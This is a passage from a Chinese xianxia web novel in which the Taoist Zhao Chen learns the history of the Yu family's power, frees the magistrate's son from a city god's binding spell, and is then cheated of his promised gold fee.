“待虞太祖江炅七十岁时又拥有广原道六州之地,七十五岁时再占玄海道五州之地,九十岁时下广南道六州之地,九十七岁时被封为皇后的俞氏去世” “。一百岁时,时年一百零一岁的俞澄历时十年,为虞太祖江炅完整拿下安西道六州。一百三十六岁时,时年一百三十七岁的俞澄阵亡于江北道,最终,一百四十岁的虞太祖江炅建立帝朝,国号大虞。” “俞家为了虞太祖的事业可谓是鞠躬尽瘁,死而后已。当然了,虞太祖江炅对俞家的封赏也是极其丰厚的。其中俞渊无后,所获封赏不说,而俞澄一共有嫡子两人,嫡女一人,庶子十三人,庶女二十一人。” “其中俞澄被追封为安西王,以纪念俞澄独自领军,平定安西道的功绩。俞澄的两位嫡子分别被封为济阴公和济南公,嫡女被封为济阳公主,封地济阳府。十三位庶子也都封赏了府候爵位,封地也皆是济州的一府之地。剩下的二十一位庶女都被封为郡主,也皆有一郡封地。” “剩下的小半个济州还可以分成四百多个郡或一万三千个左右的县亦或者四十多万个乡也全部封给了俞澄的嫡亲部下。甚至手下的家将、亲卫、马夫、伙夫等都没漏下。” 这一连串的封赏,听的周嗣是目瞪口呆,便是赵尘,心中也是暗自惊讶。 看着周嗣惊愕的表情,吴离暗继续说道:“就这样,虞太祖便将整个济州一点不剩的封给了俞家,封赏之厚,所有功臣无出其右,便是历朝历代,也是没有听说过的。” 第八十五章 福禄化三灾观想图 “便这样,一转眼两千多年过去了。随着虞朝的兴衰起伏,整个济州俞氏一系的封君,有的日渐低调,有的逐渐衰落,更有不少直接烟消云散了。” “当初老祖宗剿灭的那个,明面上的统治附近几郡的,与国同休的千年世家,其老祖宗,那位济阴府城隍,原来只是俞澄的一位随军马夫出身。只是俞家抬到明面上的一块招牌和靶子。俞家为了将这一块牌子立起来,可着实废了不小的力气。但却被老祖宗随手给砸了。”说到这里,吴离暗不由的苦笑着摇了摇头。 “在俞家一系的阴阳两界的势力的联手遮掩下,加上俞家一系封君势力也非常低调和蛰伏,我吴家在杨氏皇朝期间,主宰平郡六百年,完全没有察觉到一丝一毫。直到杨氏皇朝衰亡,俞家出手,我家吃了大亏,回头反省的时候才察觉出来。” 说到这里,吴离暗语气顿了顿,继续道:“我家能察觉到俞家的存在,不但是由于俞家出手的原因,更多是因为俞家一系没有主动向我家遮掩。” 听完吴离暗对俞家的描述,周嗣倒吸一口凉气,这才真正明白什么是真正的千年世家,单是从俞渊、俞澄那里算,俞家遍延续了三千五百年,一共经历了一个帝朝、两个皇朝、两个王朝,若是将之前的算上,那就更加了不起了。 随后周嗣又好奇道:“那俞家为什么在杨氏皇朝末年对你家出手,难道是为了给那个俞澄的马夫家族报仇?” 当然了周嗣没有说出口的是,你们吴家是怎么挡住了一位千年世家的报复的,没有被俞家一波带走。 吴离暗听出了周嗣的言外之意,闻言苦笑了一下:“这只是便面原因,俞家做这件事,第一个原因,也是最表面的原因,就是给我家一个报应,给那个俞澄的马夫家族报仇。” “其次是第二个原因,这也是俞家给我家的一个考验,若是通不过,那自然是给自家人报了仇,若是通过了,那又是两说。若是事后没有察觉到俞家的存在,说明我家也不过如此,那一切休提。” “若是察觉到了,那就是第三个原因了,和我家打个招呼,宣示自己的存在,表示对我家的认同,毕竟俞家明面上的本部、主家,也是在这平阳县,以后便要在一个县中生活了。当然了,这个所谓的主脉、本家。究竟是不是真的,我也不清楚。” “唉……” 说到这里,吴离暗深深的叹了口气:“所以说,如今表面上,这俞家只是一个小小的县中豪强,可实际上,这俞家的实力可以说深不可测。” “三千多年下来,论势力,人世间,这济州大地之上,还有多少俞家一系的封君完全说不清。而神道上,又有多少正神,多少神吏也是说不清的,就我吴家所知,单是六品神灵就有三位,其中就包括这平阳县城隍。” “若论实力,这平阳县俞府之内,就我所知,先说武道方面,单武道宗师就不下两位数,至于先天武者,这俞家只要一念之间,便可以让整个平郡易帜。而修道之人,也至少在一百人往上。更不要说整个济州范围之内,那就更加恐怖了。” 赵尘点了点头,好奇道:“哦……原来如此,不过这应该算是很私密的秘密了吧,不知吴公子为什么为什么会说与我听呢?” 吴离暗闻言,连忙解释道:“若是平常人,这自然是秘密,但赵道长出身高贵,神通了得,这些对道长来说自然就不是秘密了,所以也没什么不可说的了。” 对于吴离暗恭维的话,赵尘只是摇头笑了笑,没有说话。 随后几人又说了一些传奇故事,人物往事,直到最后,吴离暗才一脸歉意的道:“下午,我将遇见道长的事情告诉了家父,当时大兄也在场。因为没见过道长,大概是怕我受骗,随后大兄便派人来试探道长。不过道长展露的非凡手段,也着实让大兄信服了。” 赵尘闻言,端起茶水抿了一口,随后连连摆手,推说“客气”、“岂敢”。 见此,吴离暗语气不停的继续说道:“事后,大兄将这件事告诉了父亲,父亲知道大兄不小心冒犯了道长,心中大为气愤,已经责罚了兄长,并且让我来和道长道歉,还望道长勿要见怪。” 说着,吴离暗从袖中抽出了一轴画卷,双手捧给赵尘。 赵尘接过卷轴,往下一来,打开一看,整幅画卷宽一尺,长不到两尺。画面主体是一只由三色纹路勾勒出的葫芦造型,葫芦周围衬着各色云烟,这云烟乍一眼看去,好像在缓缓流动,仔细看来,那云烟和葫芦却都是由各种神秘纹路交织而成。 整幅画粗略看去,好像由各色云烟托着一只三色葫芦。若细细看来,却发现整幅画上只有各色线条,再洗看来,线条上每一个点都是由更细小的纹路组成的图案,再相互勾连而成。如此回环反复,细条越来越细,图案越来越小,越是小的图案便越是模糊残缺,越是细的纹路也越是断裂、突兀、疏漏。 赵尘用手细细摸索着画卷,画中道韵流转,有一种特殊的意境传出。只可惜因为这幅画只是一件摹本,而且临摹的水准太差,在赵尘的细细体会之下,这份意境在细微之处,只能说是似有似无,模模糊糊。 赵尘一眼就看出了,手中这幅画乃是一幅观想图,而且还是佘山使出的那招葫芦法术所对应的观想图,只是不是原本,太过粗糙,在精细程度上还不如自己缴获的那只玉葫芦。只是从大体上看,这幅观想图要比佘山施展出的那只葫芦完整,所以也算不无补益吧。 赵尘看着手中的观想图,心思转动间,便听见吴离暗道:“这是我家祖传的《福禄化三灾观想图》,便送做为道长的赔罪吧。因为《福禄化三灾观想图》乃是我家镇家之宝,所以这幅《福禄化三灾观想图》只是摹本,还请道长见谅。” 第八十六章 朱耀 “虽然这幅《福禄化三灾观想图》只是摹本,但在我家收藏的所有摹本中,也算是上品了,听佘山老人说,道长对其最后所施展的禁术或有兴趣,而佘山老人所施展的禁术便是从这幅观想图中领悟出来的。父亲听说之后,便让我将这幅《福禄化三灾观想图》送给道长以作赔罪,还望道长不要嫌弃。” 听了吴离暗的话,赵尘笑了笑,一番推辞之后,将观想图重新卷了起来,塞回袖中:“如此便多谢了。” 吴离暗看见赵尘收下观想图,心中很是高兴:“哪里,这幅观想图能被道长收下,这不但是这幅图的荣幸,也是我家的荣幸。” “吴公子哪里话,应该是我占了便宜才对。我和周嗣忽然来到平阳县,你等有所警惕是应该的,何谈怪罪呢?再说了,我和佘山道友一番比试,但却也一点伤都没受,我也没资格怪罪佘道友。只是,只是佘山道友太过……太过刚烈了,不过是一场比试罢了,竟然直接拼命,用出了这样的招式,唉……这实在是我的过错。” “还请不要这么说,佘山老人本来就年事已高,即使这一次不和道长比试,也熬不过一两年了。再说了,经过这一番比试,佘山老人心境有所进步,也算是一番收获吧。如今,其已经在我三太爷爷座下为鬼吏了,也算一个好的前程了。” “那这样我就放心了。”随后三人又说了一会儿闲话。 忽然,赵尘突然说道:“今天下午周嗣前去拜访县尊时,发现县尊家的仆人眉间都有忧色,不知吴公子可知原因?” “这个嘛……”吴离暗略一思索道:“咱们这个县尊大人,虽说做人很是严格,但对其结发妻子还是非常好的,而县尊和其妻子只有一个独子,名叫朱耀,今年只有十一岁。因为老来得子,所以其母对其很是骄纵,县尊大人每每管教,也无济于事。” “县尊平日里行为庄重,威仪肃穆,对武者、术士、道人、乃至神鬼等。相对于普通寻常百姓来说,不那么敬畏官法,或者不太伏官法管的人,都比较的……严格。”吴离暗斟酌了一下说辞。 “这朱衙内大概是受到县尊的影响,对武者、术士乃至神灵的都比较轻视。前些日子,正值城隍庙会,因为县尊治下,所以是每年为数不多的几个很是热闹的日子。” “那天,县尊的妻子便带着朱耀出来游玩。也不知怎么回事,朱耀在城隍庙中时,一泡尿溺在了城隍神像之上,结果被人发现。庙祝让其带着朱耀将之打扫干净,并给城隍赔罪。因为涉及朱耀,所以县尊妻子态度极其骄横,慑于县令的威势,双方不欢而散。” “结果三天之后,那朱耀就忽然病倒了,听说是昏睡不醒,并在梦中不时喊疼,叫也叫不醒。之后县尊大人广寻名医,但都没有设么用处。大家私底下都说,这是因为朱耀冒犯了城隍老爷,被城隍老爷将魂儿拘去惩罚去了。便是平阳地界的各种法师也请去不少,也都没什么用处。” 赵尘好奇的问道:“真是被城隍拘走了魂魄?” 吴离暗摇了摇头:“被城隍惩戒倒是真的,至于魂魄,家中修士看了,还在朱耀身上。” 赵尘闻言惊讶道:“莫非连吴公子你家中修士都解决不了?” “到不是解决不了,”吴离暗摇头道:“一来,县尊大人并没有邀请我等为他解决这件事,既然如此,我等又何必多此一举呢?二来,本来就是朱耀冒犯在先,我等贸然插手,不但不会得到县尊的感激,还会恶了城隍。” “原来是这样啊,话虽如此,但县令为什么没有请你们出手呢?” “呵呵,”吴离暗笑道:“我等孙、吴、郑、王、俞五家,虽说是县中豪强,但县尊何等人物,在县尊眼中,我等不过是一县土鳖罢了。我等又怎有能力为县尊解决这样的难题呢?” 赵尘闻言,哂然一笑:“那县令就没有向城隍赔罪吗,城隍这等存在,总不会和一个十岁的孩子计较吧?” 吴离暗摇了摇头:“咱们那位县尊,不但严厉异常,而且还心高气傲。总想将一切都用朝廷法度将之条条框框的规划起来,使这天地之间的一切都要在朝廷法度之中,不能有一丝一毫的越矩。” “所以,其才会将一切都管理的井井有条。对那些不好管理的游侠、道士等人才会这般不喜。而对于几乎完全不在朝廷法度管理之中的神灵,就更是厌恶了,又怎会向城隍低头呢?” 大概是平日里没少被县尊打压,吴离暗的语气之中稍有的带了些怨愤。赵尘见状,也没说什么。对这种地方官员和当地大族之间的矛盾,赵尘之前便已经有所猜测了,但也没有参与其中的意思。 最后,周嗣总结道:“所以现在的情况是双方僵持在这里了?” 吴离暗想了想,点头道:“这样说倒也可以。若是县尊肯去向城隍赔罪,城隍也不会为难一个才十岁出头的孩子。而县令本身就对县中以城隍为首的一系列不服朝廷法度的神灵甚是厌恶,如今出了这一单子事,就更不会对城隍低头了。” 随后双发便又聊了一些闲事,随后吴离暗就告辞离开了。待赵尘和周嗣将吴离暗送出门外后,便各自回房了。 赵尘回房后,坐在桌子旁,伸手将那卷《福禄化三灾观想图》从袖子中抽了出来,细细看了一会儿,轻轻的笑了笑,又将其重新卷好,塞回袖中。 随后又将今天下午收获的那只玉葫芦取了出来,捧在手心仔细观摩,细细体会着,嘴中轻声道:“这红尘万丈啊,稍不注意便卷了进去,不过这因果都是相互的,你在背后推了别人一把,到时候承受相同的反噬是也千万不要怨人啊,呵呵。” 第八十七章 拜见朱铄 第四天傍晚,周嗣依旧从院外回来,看见赵尘坐在院中,手中正把玩着一团云朵样的东西。 这些日子,赵尘将之前得到的那一团烟雾用法力狠狠洗炼了一番。再用磨盘将最后得到的一缕白色烟雾用磨盘复制了一大份,用此将之前那件云斗重新炼制了一遍。而如今,却是正在对佘山那门法术进行改良。 赵尘一边揉搓着手中的“云团”,一边头也不抬的问道:“周生,你这是又从县令那里回来?” 周嗣走到赵尘身前,躬身一礼,然后找了一个石凳坐下:“是刚从朱大人那里回来。” “县令家那小子现在怎么样了?” “还是那样,听说朱耀已经连续昏睡不醒七天了,全靠汤药吊着命。”随后周嗣又说道:“老师,你应该不怕得罪这平阳县城隍吧?” “对,是不怕,可我没事得罪他干什么?”说着,右手从左手的“云团”中抽出一根雪白的丝线,用手试了试丝线的弹性,韧性等各种属性,随后不满意的摇了摇头,双手一甩,左手的“云团”和右手的丝线都消散一空。随后左手一翻,又翻出一个苹果大小的白色“云团”,双手不停在“云团”上揉搓起来。 赵尘手中揉搓“云团”,嘴里也不停的说道:“怎么了,你和那位朱县令推荐我了?” 佘山老人御驶的素色如意烟,以佘山老人的境界来说,可以说是非常不错的,哪怕佘山老人只是通过符篆御驶素色如意烟的。 但以赵尘的修为来看,这素色如意烟虽可以说一声玄奇。不但是一个完整的整体,有一定的防御力,而且还可以遮蔽敌人的视觉、神识等的探查,更重要的是竟然一点也不影响自己的视觉。但玄奇是玄奇,只是威力太弱了。 便是赵尘以更多的法力,更高的境界来御驶素色如意烟,但威力还是弱了。赵尘便想着以素色如意烟为模板,将之改进一番,来增加威力,虽然将云斗重新炼制一遍之后,赵尘已经用不上这个法术了,但毕竟有备无患,而且技多不压身。 周嗣连忙道歉道:“还请老师恕罪,小子不经道长允许,就将老师说了出去,实在是那朱耀太可怜了。那么小一个孩子,才几天功夫,就已经皮包骨头,奄奄一息了。” “这天地之间,可怜的人多了去呢!”赵尘闻言翻了个白眼,没好气道:“不过话又说回来,正所谓‘仙道贵生,无量渡人’,济世渡人本就是我等修行之辈的责任,所以你做的也没错,我没有怪罪你。不过那位朱县令对于你的推荐,怎么说?” “朱夫人希望老师可以去救一救朱耀,说话语气凄婉哀求,态度也很诚恳。但朱大人却是很平淡,态度不置可否。” “呵呵,好吧,我明天就陪你去一趟吧。” “真的啊?”周嗣闻言惊喜道:“实在是太感谢老师了。” “不用,”赵尘摆了摆手手:“周生,你对前几天吴公子说的他家和俞家的恩怨,还有这平阳县几家豪强,你怎么看。” “老师。正如吴公子所说,这是当年那件事情的延伸,而当年那件事,是俞家在考核吴家。” 赵尘点了点头:“这确实是俞家在考核和培养吴家。” “培养?” “这若不是培养,俞家怎么会给吴家这么恰好的压迫,让吴家保持这么充足的进步的动力。当然了,俞家的这份培养也不是这么好承受的。” 赵尘这么一说,周嗣自然就反应了过来:“原来如此,多谢老师指点。” “这份培养,表现出来的便是吴、俞两家的争斗,正是因为两家的争斗,这平阳县的豪强在显得非常有力量,远胜于其它县的一般的豪强。当然,也是因为这份强大,让李、楚两家迷失了,最后扑遭到了灭顶之祸。” “那这件事?”闻言,周嗣突然反应了过来。 赵尘只是笑而不语的摇了摇头。 …… 第二日上午,赵尘便随周嗣前往县衙拜见朱铄。 因为前几次的原因,门外的衙役都已经认识周嗣了,见周嗣前来,都纷纷向其问好,周嗣也一一回应。 待周嗣将拜帖递进去一刻钟之后,便有一管家样的人迎了出来。 “周公子!”说着看向赵尘:“这位莫非就是赵道长吗?” 看见来人,周嗣在赵尘身旁轻声介绍道:“老师,这位是朱大人的管家,朱福朱管家。朱大人称呼其啊福,朱大人家的其他人多称呼其为福伯。” 说罢,又对朱管家道:“福伯,这位便是我常说的赵道长,我这些年都是在跟随赵道长学道。” 听赵尘这么一说,朱管家连忙迎向赵尘:“赵道长,你能前来真是太好了,老爷和夫人正在后院等着呢!赵道长,周公子,快请随我来。”说着,便躬身一手虚扶着赵尘的胳膊,一手做向府中迎去的样子。 赵尘见状,微微向左边避开半步:“那就麻烦朱管家了。” “不麻烦不麻烦……” 赵尘和朱福一起向后院走去,而一旁的周嗣,因为赵尘的话,从昨晚开始,便有些思绪不定。 随后,赵尘两人便被朱福领到了后院。在一间厅堂前,朱福躬身道:“老爷,周公子和赵道长到了。”说罢,便对赵尘两人道:“赵道长,周公子,老爷在里面等两位。”说着,对着两人一躬身,便退下了。 赵尘进入屋内,便看见有一个中年男人坐在正位。男子看见赵尘,面无表情道:“阁下便是赵清微,赵道长?” 这人便是平阳县令朱铄了,赵尘心道。同时仔细看去,朱铄身着一件青色圆领长衫,端坐在正位。 自上往下看去,朱铄头戴一顶四方头巾,印堂虽圆润鼓起,但却不怎么不明阔,眉毛之间也略显勾连。双眼虽然明亮锐利,但又狭长细小,且靠的比较近。再往下鼻梁尖峭露骨,鼻头尖尖、鼻形尖细,好在不是鹰钩鼻。嘴巴虽不算小,但嘴唇很薄。整的看来,面堂开阔但面色暗淡,略显青黄。 再往下,朱铄坐在椅子上,打眼看去虽显得有些枯瘦,但双肩开阔,身体挺拔,坐姿非常的端庄威严。 第八十八章 要求 在赵尘进来之前,朱铄手中还捧着一卷书籍,此时正发在身边的桌子上,看起来也是一个手不释卷的人。身上的青衫非常朴素,不见一点花纹,色泽略显暗淡,并且边角处还略见磨损,但是却打理的一丝不苟,脚上蹬着一双黑色布鞋,也显得有些陈旧。 这位朱大人,总体看来,是一个平日里是一个生活朴素,严谨端庄,且一身正气的人,只是脸上虽一脸正气,庄重威严,却难掩刻薄之相。 听见朱铄的话,赵尘一个稽首,平淡的道:“正是贫道。” 朱铄闻言,眉毛略微皱了皱:“听周贤侄说,你有办法救犬子?” 赵尘将这一切看在眼中,开口道:“十成的把握自然没有,只能说有比较大的把握,具体的办法和把握,还要看一下贵公子的具体情况才能说。” “这样啊……”听了赵尘的话,朱铄点了点头,脸色略微缓了缓:“如此便随我来吧。” 也没多说什么客套的话,朱铄便领着赵尘两人从厅堂出来,向后面走去。绕过几条走廊,走进一间小院子,赵尘遥遥看见带着自己进府的朱福正候在一间屋子前。看见赵尘等人前来,连忙走过来躬身道:“老爷,赵道长,周公子。” 朱铄点了点头:“啊福,夫人呢?” “夫人正在屋里给少爷喂参汤。” “你去和夫人说一声。” “好的老爷。”说着朱福快步走进屋里:“夫人,老爷和周公子还有赵道长来啦。” 听着屋中传来的朱福的声音,赵尘两人也随着朱铄进入屋里。赵尘走进屋中,便看见屋子被屏风和帘子隔成两半。前屋中,朱福还有一名三十来岁的贵妇人和一个十三四岁的丫鬓正侯立在一旁。 见朱铄进来,双眼有些红肿的贵妇人开口道:“老爷。”朱福和那十三四岁的丫鬓也见礼道:“见过老爷” “夫人。”说着,朱铄转过身子对赵尘道:“犬子正在屋内。” 赵尘点了点头,走了过去,掀开帘子,转过屏风,走进内屋,便看见和之前所见大不相同。屋中陈设精巧华美。赵尘走到床前,看向躺在床上的朱耀。 朱耀蜷缩在床上,眉头紧锁,小脸皱在一起,不是还哼唧几声。赵尘略一眨眼,便看见朱耀的魂魄被一根神力所化的绳索困在身体里面,通过绳索上的纹路可以看出,这绳索还有让朱耀在幻境中经历种种的致幻能力。 幻境之中,一群刻板的人正教导着朱耀种种,并时时考验,若不遵规定,或不能通过考验,则会受到如鞭打、饥饿之类惩罚。 这个幻术十分巧妙,这些在幻境中经历的种种,除了疼痛等,根本不会对朱耀造成其它伤害。只要幻境解除后,什么创伤也不会留下,无论是生理上的,还是心理上的。 而且,别看朱耀一副好像快要不行的样子,实际上,便是不喂参汤,至少三五个月内,朱耀都不会有一点事。 绳索的绳头位置还加盖了一枚符印,这符印不但对绳索起到一定的保护作用,也是一种宣示。 在绳索的捆绑下,朱耀的魂魄和肉身若即若离,既不会使朱耀的魂魄和肉身分离,造成不好的结果,也不会使朱耀在幻境中遭受的惩罚对肉身造成影响。并且,赵尘发现,这根神力绳索,还对朱耀的魂魄有一定的滋养效果。赵尘只能说这位平阳县城隍考虑的真可谓万分周全。 赵尘仔细检查了一番,确定朱耀身上没有其它手脚之后,转身从里屋出去,回到外屋。 看见赵尘从里屋走出来,还不待其开口,朱夫人连忙问道:“道长,耀儿怎么样了,还请道长千万救救耀儿。” 赵尘将具体的情况和几人说了下,朱夫人听罢,哭嚎道:“我可怜的耀儿啊,你怎么这么命苦啊!我就知道是那个城隍使得坏,老爷,我们回头就将那个城隍庙给砸了。不,光砸庙实在太便宜他了,我们……” “胡闹!” “你凶我,你竟然凶我,难道耀儿不是你孩子吗?你竟然为了一个把耀儿害成这样的凶手凶我,想当年,你……” 朱福看了看赵尘两人,在一旁听的一脸尴尬。朱铄无奈道:“夫人,夫人……城隍的事我们待会儿再说,先说耀儿,先说耀儿。” “对,先说耀儿,”朱夫人听了,立马安静了下来,看向赵尘:“赵道长……” “这个事情嘛,说难也不难,只要将那根神力绳索弄断便可以了。可说简单也不简单。” “首先有那个符印在,想要将绳索弄断,实力上便有要求。更重要的是,此举一定会大大的得罪城隍,先不说城隍手下的一堆神灵以及所代表的神道秩序。单是城隍的实力,六品神灵,位比天仙,便不是我这种炼气化神阶段的小修士可以惹得起的。” 朱夫人闻言,不禁情急道:“道长……老爷!” 朱铄对朱夫人摆了摆手:“那道长可有弄断绳索的实力?” 赵尘闻言,点了点头。 “如此,道长有什么要求便直说了吧。” 略作思考,赵尘对朱铄夫妇两说道:“这……好吧,我便直说了。我辈修士,在这人间行走,济世渡人本就是应该的。如今贵公子因为种种意外,遭受苦难,而我又有帮助他的能力,救他一救本是分内之事,原不该多提什么要求。” “但若是救了贵公子,必将大大的得罪县城隍,所以我这里有三个要求,还望两位同意,成就成,不成我转身就走,绝无二话。” “道长请将。” “第一,我救清贵公子之后,还请两位不要对外多说,勿要将我暴露出来。但一切随缘,要是因为其它原因导致我被暴露出来也是天意如此,无所谓了。” “第二,待贵公子醒来之后,还请贵公子去城隍庙对城隍赔罪,这既是为了贵公子,也是为了我。” “第三,我要黄金一千两。这黄金我不是要来自己享受,而是会全部用来帮助有需要的人,既是为自己积累功德,也是为你等积福。” “就这三条要求,不知两位?” 第八十九章 十两黄金 听完赵尘的话,朱铄沉思不语,明显还在考虑当中。见此,朱夫人两眼红肿的看着朱铄:“老爷……” “好吧,一切都依道长,待犬子醒后,便将黄金交给道长。” “好。”赵尘点了点头便又往里屋去了。 走到床前,赵尘看着蜷缩在床上的朱耀,摇了摇头,从袖中摸出一把斑驳的白玉匕首。 看着这把在云台佳会时从十二师兄那里交换来的白玉匕首,赵尘不由想到:“原来以为是一件材质不错的残缺法器,谁成想竟然是一件残缺法宝,不过二十块灵玉便交换到了,实在太占十二师兄便宜了,以后有机会补偿一下十二师兄吧。” 心思转动之间,赵尘将自己近三分之二的法力注入白玉匕首中,便看见白玉匕首迅速变的明亮透明,最后竟然化实为虚。赵尘将匕首插入朱耀眉心,自眉心直到气海,一刀划过,朱耀身上却不见丝毫伤痕,但朱耀体内的神力绳索却“啪、啪、啪”的全部被割断。 整个过程不到半个呼吸,白玉匕首上赵尘全部三分之二的法力便被完全耗尽,又重新变回那锋利的斑驳白玉匕首。 赵尘看见断裂之后的神力绳索迅速化为烟雾状的神力,不断滋养朱耀的身体和灵魂,而那一枚符印在神力绳索被割断时,便消散了绝大部分,剩下的不到十分之一的符印又重新组合成一个新的符印,从朱耀体内飞出,向赵尘冲了过来。 瞬间,早有准备的赵尘头顶升起一方“板砖”,洒下一片清冷的光华,将赵尘罩住。在这片清冷光辉之中,隐约可见一片朦胧虚影,四周是一片小小的水域,泛起圈圈涟漪,头顶上一片朦胧星空,似有似无。赵尘的护体清光和清冷光辉纠缠在一起。看起来,赵尘好像立于一片神秘净土中一样。 与此同时,赵尘袖中便有一道五彩流光飞出,冲向符印,将符印不断搅碎,然后又飞回赵尘袖中。最后残余的丝毫神力气息也被赵尘的护体清光挡住,消散在空中。 整个过程从开始到结束也只看见一团鸽子蛋大小的五彩光芒忽然在赵尘身前的半空中出现,一个闪烁便又消失的无影无踪,就好像只是眼花了一般。 见事情全部处理完了,赵尘便转身去了外屋。 见赵尘出来,朱夫人紧张道:“道长,怎么样了。” “很成功,大概再过一刻钟,贵公子便可以醒了。” “谢天谢地,祖宗保佑。耀儿终于没事了。”说真便又哭了起来。 朱铄开口道:“夫人,你先去看一下耀儿吧。”随后又转过头对朱福道:“啊福,你先在这里等一下,待耀儿醒了,夫人有什么要安排的,同时将黄金准备好,给我送过去。”之后又对赵尘道:“赵道长,我们去前面坐一下吧。” 随后,赵尘、周嗣两人便随着朱铄回到之前的厅堂,闲聊了起来。 一番闲聊之后,朱铄语气总算温和了几分,劝说道:“想不到道长竟有这般学识,如此做道士实在是太可惜了。道长若是参加科举……总比做个道士强多了吧。” 赵尘笑着摇了摇头,正在这时,朱福走了进来:“老爷,少爷醒了。” 看见赵尘的神色,又听见朱福的话,朱铄没有说话,只是淡淡的点了点头:“让你准备的黄金准备好了吗?” “准备好了,”说着,朱福转过头高声道:“进来。” 话音刚落,便看见一仆人捧着一托盘走了进来,托盘上盖着一块红绸。朱福走到赵尘身前,将红绸掀开,只见盘中放着两只制式金元宝,按大小估计,应该是五两重的。 赵尘面容平淡的看了朱铄一眼,朱福见状,开口道:“道长要求的千两黄金实在太多了,我家老爷何等清廉,这平阳县上下可谓人尽皆知。千两黄金实在拿不出来,我砸锅卖铁,穷搜全府,也只找出了一千两银子的财货,为了方便道长携带,再加上道长要的是黄金,便特意将这一千两散碎银子换成了黄金,一共十两,还请道长收好。” 周嗣在一旁听的一阵火气,虽然他也觉得赵尘索要一千两黄金有点多,朱府恐怕拿不出来,但这般明目张胆的将一千两黄金换成了一千两白银,还这般振振有词,实在是太过了。 赵尘笑了笑,一句话未说,示意周嗣来处理这件事。周嗣心念一转,便将心中的火气压住灭,心平气和的对着朱铄躬身一礼道:“朱伯父,您之前答应的明明是黄金一千两,这样一句话不说就换做了白银一千两实在是有点不妥吧。” 朱铄见其小小年纪便有这般气度,不禁暗暗点头:“周贤侄,你也知道,我一向这样两袖清风。” 说着,朱铄还用手拂过自己的衣袖,一甩双手:“好在是向来清贫,到也是乐在其中。这一千两黄金实在是拿不出来了。我全部身家估计也都在这里了,就算有所剩余,也不多了,将那些散碎银两换成这两锭金子,也算是伯父我的一番心意。” 周嗣被朱铄的言论惊呆了,不由道:“我知道朱伯父为官清廉,这一千两黄金拿不出来我也理解。但这只有十两也太少;了一点。别的不说。就我之前所见,朱耀贤弟那只盛参汤的小玉碗,用料考究,做工精美,便价值不下百两纹银。” “贤侄是说那只碗啊,那只碗是夫人的嫁妆,也是夫人最珍爱之物。平时夫人便最宠爱那个劣子,便将那只碗给他使用。夫人自幼嫁与我,平日操劳,……我实在亏待夫人太多,这碗,这碗实在不能给道长啊!还望道长能可怜我这一番苦心。” 朱铄嘴中说的虽然可怜,但说话的语气却没有一丝变化,依旧平淡沉稳。经过一番你来我往的交涉,朱铄在周嗣心中的人物形象都坍塌了,反正翻来覆去就一个意思,只有这十两黄金,多一文没有。 第九十章 离开县衙 经过这一番折腾,周嗣都有些压不住心中的怒气了,生气道:“道长为了朱耀贤弟可是狠狠的得罪和城隍的,若是伯父不能应允,到时候只有……”语气中甚至带着丝丝威胁之意。 看着周嗣终于不再那副好似光风霁月的样子,心中不由暗笑道:“到底还只是一个十几岁的孩子,终究还是太年轻了。” 听了周嗣这略带威胁的话,朱铄心中虽然一点也不生气,表面上,却是脸色一沉,,没有和周嗣再多说什么,而是转头看向赵尘:“赵道长畏惧城隍,畏惧神道,难道就不害怕我,不知道敬畏朝廷吗?”说着,随手抓住大印往桌子上一拍:“来人……” “哗啦啦……” 只见朱铄一声高喝,便有十数名甲士手持兵刃冲了进来,分成两列在两侧站定。 朱铄右臂搭在桌子上,手中握着大印接着说道:“周贤侄,今天看在周老太师的面子上不和你计较,赵道士,本县今天也看在周老太师和周贤侄的面子上也放你一次,出去之后速速离开平阳县。下次再让本县见到你,定将你关入牢中。向你等这般不服朝廷管教之徒,便是当做妖道格杀了,也勿谓言之不预。” 赵尘闻言,也是一点也不动怒,依旧眉眼含笑的,衣袖飘飘间向朱铄行了一礼,拉着怒气冲冲的周嗣就要离开堂厅。 见状,周嗣也没做他言:“如此,周嗣便告辞了,朱伯父再见。” 说罢,周嗣便要转身离开,朱福在一旁拱手说道:“周公子,这是老爷答应的一千两,还请收好。” 周嗣看了眼朱福,顺手将两锭金子从托盘里抓起,抛进朱福怀中,哈哈大笑着转身向门外走去:“不用了,便当是行善积德吧。” “终究是孩子气啊。”看见周嗣的动作,赵尘和朱铄都在心中想到。 待几人离开后,朱夫人从后面转了出来:“老爷,这千两黄金虽多,家中还是拿的出来的,这赵道长虽然是个道人,但毕竟于我等有恩。老爷不常说要以德抱德和言必行。行必果吗?” “夫人可是在责怪为夫?”朱铄虽然面色严肃,但语气却十分温和。 “不敢。” “我虽答应了那赵尘,事后给他千两黄金,但那是他之前用耀儿的性命威胁我。在别人的威胁下做出的承诺自然是不需要必须履行的。当然了,只是诡辩。” 说到这里,朱铄的嘴角微微勾了勾,朱夫人也没好气的白了朱铄一眼。 朱铄继续正色道:“我自然不是舍不得这些银钱,若是士子上门求助,这也钱舍了也就舍了。便是拿去接济鳏寡孤独,老弱病残,我也没有二话。但是,那些方外之人,要钱何用?给他们。那才是浪费。” 朱夫人知道朱铄没有说假话,只是有些犹豫道:“话虽如此,但老爷你这次可是把那赵道长和周公子给得罪了,周老太师都愿意让自家晚辈虽其修道,想来那赵道长也定然是个人物。” “周老太师那是年纪大了。” 闻言,朱铄脸色一沉,一句话脱口而出。随后接着说道:“那些道人术士,平日里在百姓中卖弄些奇技淫巧,蛊惑百姓,不服朝廷管束,最是可恶。详情请,我和那赵尘交流,见其有些学识,怜惜其才情。劝其走正道,他却故作姿态,笑而不语,哼,不就是不愿受到朝廷法度的约束嘛。” “那要不要为那赵道长扬扬名,感谢其救了耀儿。”听着朱铄语气中透出的丝丝小心眼,朱夫人有些好笑的说道。 “哼!” 闻言,听出自家夫人语气中的调笑之意,朱铄感觉脸上有些挂不住,狠狠地瞪了自家夫人一眼。 正在这时,送赵尘两人离开的朱福走了回来,来到朱铄身前,躬身道:“老爷,赵道长和周公子两人已经离开了。” 朱铄点了点头:“阿福,看好下面的人,让他们不要乱说,别给赵尘他两人添麻烦。” “好的,老爷,还有什么吩咐?” 朱铄想了想:“没有了,你下去吧。” “是,老爷。” 这时,朱夫人正色道:“先前赵道长说,等耀儿醒来之后,去去城隍庙对城隍赔罪。老爷你怎么看?” 朱铄闻言想了想:“没事。” 说罢,朱铄终于将手中的知县大印放下,揉了揉手腕,握着大印对左右道:“随我去前衙。” 